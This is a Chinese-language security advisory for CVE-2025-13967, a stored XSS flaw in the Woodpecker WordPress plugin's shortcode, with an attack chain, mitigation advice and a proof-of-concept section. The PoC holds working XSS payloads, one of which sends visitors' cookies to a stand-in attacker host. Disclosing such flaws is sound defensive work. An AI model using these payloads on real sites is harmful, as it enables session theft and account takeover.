IPBUF安全漏洞报告
English
CVE-2025-13967 CVSS 6.4 中危

CVE-2025-13967 WordPress Woodpecker插件存储型XSS漏洞

披露日期: 2026-01-09

漏洞信息

漏洞编号
CVE-2025-13967
漏洞类型
存储型XSS
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Woodpecker for WordPress plugin

相关标签

CVE-2025-13967存储型XSSWordPress插件漏洞Woodpecker短代码注入跨站脚本CVSS 6.4中危漏洞WordPress安全authenticated XSS

漏洞概述

Woodpecker for WordPress插件是一款用于WordPress网站的联系表单集成插件,允许用户通过短代码在页面中嵌入表单功能。该插件在3.0.4及之前的所有版本中存在一处严重的存储型跨站脚本(Stored XSS)漏洞。漏洞源于[woodpecker-connector]短代码的'form_name'参数在处理用户输入时未进行充分的输入消毒和输出转义处理。攻击者利用此漏洞可以注入任意JavaScript代码到网页中。由于该插件使用WordPress的短代码机制,恶意脚本会被永久存储在数据库中,任何访问包含该短代码页面的用户都会触发恶意代码执行。此漏洞需要攻击者具备至少Contributor(贡献者)级别的WordPress账户权限,门槛相对较低,在多用户WordPress博客或网站中极易被利用。攻击成功后,攻击者可以窃取用户会话Cookie、劫持用户账户、进行钓鱼攻击或植入更多恶意内容,严重威胁网站和用户数据安全。

技术细节

漏洞根源在于woodpecker插件的wfw-public-shortcode.php文件中对form_name参数的处理逻辑。该文件在第39行左右直接输出用户可控的form_name参数,未经过任何HTML实体转义或输入验证。当用户访问包含恶意短代码的页面时,浏览器会执行注入的脚本代码。漏洞利用方式:攻击者创建一个包含恶意JavaScript的form_name参数值的[woodpecker-connector]短代码,并将其插入到任意文章或页面中。WordPress在渲染页面时会调用class-wfw-public.php中的相关方法,该方法在第109行附近处理短代码属性时将未转义的用户输入直接输出到HTML页面。由于存储型XSS的特性,恶意代码会永久存在于数据库中,只要页面存在就会执行。攻击者可利用此漏洞窃取管理员Cookie、键盘记录、页面篡改或进一步横向移动。修复方案需要在该参数输出前调用esc_html()或类似函数进行HTML实体转义。

攻击链分析

STEP 1
步骤1
攻击者获得WordPress Contributor级别或更高权限的账户
STEP 2
步骤2
攻击者创建或编辑文章/页面,插入包含恶意payload的[woodpecker-connector]短代码
STEP 3
步骤3
短代码中的form_name参数值包含未转义的XSS payload,如<img src=x onerror=alert(document.cookie)>
STEP 4
步骤4
WordPress保存文章时,恶意payload被存储到数据库中
STEP 5
步骤5
普通用户访问包含该短代码的页面时,插件处理短代码并输出未转义的HTML
STEP 6
步骤6
用户浏览器解析HTML时执行注入的JavaScript代码,攻击者成功窃取Cookie或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Woodpecker for WordPress XSS PoC --> <!-- Attacker with Contributor role inserts this shortcode in a post/page --> [woodpecker-connector form_name="<img src=x onerror=alert(document.cookie)>" list_id="1"] <!-- When any user visits the page, the XSS payload executes --> <!-- The payload can be more malicious: --> [woodpecker-connector form_name="<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>" list_id="1"] <!-- Technical details from source code --> <!-- Vulnerable file: public/partials/wfw-public-shortcode.php line 39 --> <!-- The form_name attribute is output directly without escaping --> <!-- Vulnerable file: public/class-wfw-public.php line 109 --> <!-- Shortcode handler processes attributes without sanitization -->

影响范围

Woodpecker for WordPress plugin <= 3.0.4

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1) 临时禁用Woodpecker插件;2) 限制 Contributor 角色的用户创建或编辑文章的能力;3) 使用WordPress安全插件监控异常短代码插入行为;4) 手动审查已发布的文章内容,删除包含可疑form_name参数的短代码;5) 实施严格的访问控制,确保只有可信用户具有编辑内容权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表